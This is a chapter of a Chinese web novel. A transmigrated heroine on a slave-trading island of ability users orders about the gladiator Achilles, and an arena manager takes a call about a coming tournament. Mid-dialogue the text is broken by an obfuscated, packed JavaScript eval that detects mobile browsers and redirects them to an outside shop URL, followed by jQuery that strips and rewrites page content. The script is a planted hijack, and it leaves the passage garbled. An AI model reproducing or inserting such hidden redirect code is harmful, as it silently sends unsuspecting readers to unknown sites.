79. 赤伶歌下定了决心
作品:《迷人可爱的反派恶女们》 夜色沉沉笼罩下来。工人的脚步声远去,庭院归于寂静。
室内,暖光从鎏金嵌边的磨砂灯盏中漫出,悄然柔化了空间的刚硬线条。
赤伶歌踩着奶白真丝混纺地毯走到窗边,莹白指尖拂过新换的雾粉哑光丝绒窗帘。
绒面垂坠如水,弧度利落缱绻,正合她心意。
她满意转过身,发现阿克琉斯仍站在一步之外。头套遮住了他大半张脸,只露出一双冰蓝眼眸,在冷银与暖金交织的光影中,像极了一个被扔在这柔奢景致里格格不入的忍者。
“一直跟着我做什么?”她挑眉。还是头一回见到这么木头的人。
她顺手将窗边那只歪了半分的奶白羊绒靠垫摆正,心情颇好地温声给出提示:“浴室水温调好了?我的晚饭呢,有准备吗?”
语落,那双含着蛊惑的琥珀金眸子定定看向阿克琉斯。
“阿克琉斯,”她声音轻而清晰,带着几分‘教你做人’的纯纯善诱,“一个合格的盟友,不该总让别人提醒他该做什么。”
她抬起手,指尖轻轻点在他的胸口。
柔软落在胸口的瞬间,阿克琉斯浑身猛地一僵。冰蓝眼眸骤然凝缩。
他下意识想后退,却又硬生生定住,背脊绷得笔直。
心脏在胸腔里跳得像擂鼓,不同于面对敌人时的紧张,是一种阿克琉斯说不出的意味。
他只能把注意力全都放在赤伶歌说的话上。
一个合格的盟友,不该总让别人提醒他该做什么。
阿克琉斯垂下眼,长长的睫毛盖住冰蓝瞳孔,几次震颤后自然地接受了这个‘常识’灌输。
他用带着哑意的嗓音解释了晚饭是由专门的人送来后,瞥见赤伶歌略带满意的表情在心里松了口气。
“我现在就去为你放水。”说完他干脆利落地转身,往二楼去为赤伶歌放水。
赤伶歌步子悠悠,像个监工一样跟在他的身后。眯着眼意味不明地打量着他。
这小子,在听见她的话后表情冷的像铁。即便答应了她,说的话也十分硬邦邦。
不愧是能与她比肩美貌的人,和那些庸人全然不同。
那些杂鱼见了她,满眼都是黏糊糊的欲念,不用吩咐就上赶着献殷勤,满脑子都是些想把她占为己有的龌龊心思。
赤伶歌颇为好心情地想,或许要不了多久,她就会迎来第一位对自己毫无非分之想的‘朋友’。
她扶着楼梯的鎏金栏杆缓缓而上。
阿克琉斯动作十分迅速,刚到主卧门口,赤伶歌就听见浴室传出的潺潺流水声。
没有前去观摩的兴致,她的脚步停在主卧落地窗前,宁静的氛围感让她有些出神。
在意识到穿越后,她的心情其实并不像表现出的那般淡定。送货的商铺工人到来后,她不动声色地朝他们要来了与永乐岛相关的所有报纸。
在指挥的间隙,通过报纸大概了解了些许这个世界。
在看到的信息中,最令她感到震撼的是,这个世界竟然有异能!
并且由异能者当权,他们依赖异能进行社会发展。科技水平既高又低,十分不伦不类。
与原本的的平凡世界不同,这个世界上任王权刚被推翻,新旧世界规则交织。
黑暗也在顺着这片交织出的缝隙疯长。
她所在的永乐岛是这个世界黑暗交易的核心枢纽。它不生产普通商品,只交易‘人力价值’,通过竞技场、赌盘、租赁和贩卖人口形成完整产业链。
他们把有无异能的人分为五个等级。S为最高级,A、B、C逐个递减,D则是普通人。
而她在上午见到的那个拄拐装逼男,就是港口交易区的实际掌控者——最大的奴隶贩子衡阙。
拥有着一个名叫【定价之眼】的人力分析异能。
他把自己分到了S区。
想到这儿,赤伶歌嘴角不自觉地勾起一个矜傲的弧度。
果然。即便穿越到这光怪陆离、异能横行的世界,她赤伶歌,依旧站在顶端。
那个装腔作势的衡阙,用他那【定价之眼】一下便看见了她的顶尖价值。
就像最精明的古董商绝不会将传世珍宝混同于赝品货架,他将她放入S区,正是这个世界对她存在意义最直白的承认。
可是自得过后,真实的困扰也随之浮现。
作为‘顶级货’的她。无论是觊觎美貌,或是……有利可图,衡阙那条杂鱼都不会轻易放过。
而阿克琉斯……
赤伶歌眸光微敛。
报纸上的喧嚣与荣耀掩盖不了本质。
他再强,也不过是这座巨大黑暗机器里最耀眼的一个齿轮,是资本捧出来供人消费的玩物。
连真容都不能随意示人,何谈真正的自由与力量?他的庇护或许能挡一时风雨,却绝非长久之计,更可能为她引来更多聚焦的目光与麻烦。
以前家里的泼天财富都拦不住那群蠢货的觊觎,如今在这鬼地方,自己这张脸,怕是又要引来一堆不长眼的杂鱼疯抢,真是麻烦透顶。
“真是成也貌美,败也貌美……”她近乎无声地低语,尾音消散在水声中。
当阿克琉斯出来时,只看见她眸中熊熊燃烧的志在必得的目光。
像是已经无声下定了某种决心。
……
五天后,巨轮竞技场核心区,卡西安·诺特办公室。
卡西安站在一幅巨大的手绘竞技场结构地图前,深灰蓝色休闲西装的袖子挽起一截,露出线条精瘦的小臂。
他手中拿着一个巴掌大小、镶嵌着淡蓝色能量水晶的黄铜圆盘,圆盘边缘的几盏微型指示灯正以固定的频率明灭,发出类似蜂鸣的震颤。
规律的敲门声响起。
“进。”
一个面冠如玉青年推门而入,一身利落合体的深靛蓝色训练师制服,衬得他身形挺拔,气质清润沉稳。
他手中拿着皮质笔记本,目光先快速扫过室内,在卡西安手中的通讯器上略作停留。
“看来我来的正是时候?”云枢的声音温和,走到桌边将笔记本放下。
卡西安“嗯”了一声,目光仍落在微微震颤的通讯器上。
“艾尔西娅的定期通讯,刚好切入。”他指尖在圆盘侧面的一个凸起上轻轻一按。
淡蓝色水晶的光芒稳定下来,蜂鸣声停止。
紧接着,一个清晰、悦耳、带着某种独特韵律感的女声从圆盘中传出,音质有些许经过晶石传导特有的空洞感,却不失其优雅与力度。
“卡西安,希望我没有打扰到你‘午后小憩’的宝贵时光。”
那声音带着一丝淡淡的调侃,仿佛说话人正坐在遥远的、铺着柔软地毯的房间里,手里或许还端着一杯红茶。
“我这边刚刚结束与‘七港联盟’代表的又一轮……嗯,亲切而冗长的下午茶。他们的新任海事委员对‘降低角斗士输出关税’的提议,表现得像守护自己最后一枚金币的葛朗台。”
卡西安脸上没什么表情,只是对着通讯器回应:“艾尔西娅,直接说结果。联盟的正式态度,以及,他们这次会派多少‘观察员’和‘赞助队’过来。”
“结果就是,关税暂时动不了,那帮老狐狸咬得很死。不过,”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17061987|189854||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
女声话锋一转,透出一丝精明的意味,“作为‘友好交流’的诚意,他们同意将本次冠军争霸赛的转播权费用上浮百分之十五,并且额外开放三个自由港的专属□□牌照给我们指定的代理商。”
“至于人手……‘观察团’规格很高,由一位卸任的联盟海军上将领队,安全人员配额也增加了。另外,至少有三家联盟内部的大商会,会组建或赞助队伍参赛,质量应该在水准之上。”
“哦,顺便说一句,‘蔷薇与剑’骑士团的那位女公爵,私下向我表达了对某个‘金发角斗士’衍生债券的浓厚兴趣,看来阿克琉斯的名声,比我们想象的传得更远,也更深入某些……闺阁。”
卡西安靠在椅背上,指尖有节奏地轻敲着通讯器外壳,闻言指尖微微一顿,很快又恢复正常。
他没有附和艾尔西娅的调侃,话锋一转问向了另一个问题:“艾尔西娅,除了明面上的生意,你还有没有听到些……更‘有趣’的风声?”
通讯器那头传来一声极轻的、几乎带着笑意的气息。
“卡西安,你总是这么直接。‘体面’的帷幕后面,当然从来不缺想搞小动作的丑角。”
她的声音依旧优雅,但多了几分事务性的冷静,“确实有些零碎的杂音。几个边境城邦可能把他们关不住的‘麻烦’或实验失败的‘残次品’,包装成角斗士送了过来,算是废物利用兼转移视线。自由港的黑市,最近有些专门针对竞技环境设计的‘小玩具’在流通,来源和买家都遮得挺严实。”
她略作停顿:“另外,我这边有些边缘渠道的消息显示,几个对‘稀有异能表现型’有收藏癖或研究癖的秘密结社,近期似乎格外活跃。他们的嗅觉一向灵敏,这次大概也闻着味儿过来了。看来我们的赛事,吸引力比预想的还要多元化。”
卡西安嘴角勾起一个没什么温度的弧度:“‘麻烦’、‘玩具’、‘收藏家’……阵容越来越齐了。”
他看向云枢,“你怎么看?”
云枢站在酒柜的阴影里,指尖正拂过一瓶陈年威士忌的玻璃棱面。听到卡西安的问话,他连头都没回。
“那就都杀了。”他的语气温和,像在建议今晚喝什么汤。
艾尔西娅一顿,随即哈哈大笑。
“我亲爱的朋友,一周后我会搭乘‘银翼信使号’返回。希望在我抵达时,我们的竞技场依然稳固,而最精彩的戏码,还未上演。”
“一路顺风,艾尔西娅。”卡西安的声音也带着细碎笑意,“岛上的‘戏剧’,会等你回来拉开最后的大幕。”
“期待不已。那么,通讯结束。愿利润与秩序与你们同在。”
艾尔西娅单方面结束了通讯,淡蓝色水晶的光芒熄灭,蜂鸣声彻底消失,圆盘恢复沉寂。
卡西安将通讯器放在桌上,看向云枢。
灰蓝色的眼眸深处若有所思。
半晌后他终于出声:“阿克琉斯最近怎么样?”
云枢手中动作一顿,抬眼温和看向卡西安,“是有什么麻烦找上门了吗?”
卡西安也不和他废话:“港口的衡阙,阿克琉斯抢了他的‘货’。”
“我已经拦了他五天。”
“你想让阿克琉斯把‘货’还回去?”
卡西安颔首,“他为了‘货’向我要了工资。”
闻言,云枢眼中闪过一丝兴味。
作为人型兵器养大的阿克琉斯,从来不会有‘吃糖’以外的兴趣爱好。
一个私逃的‘货’不仅登堂入室,还居然让他有了‘人’的情绪。
“好,我会解决。”
云枢答应了下来。

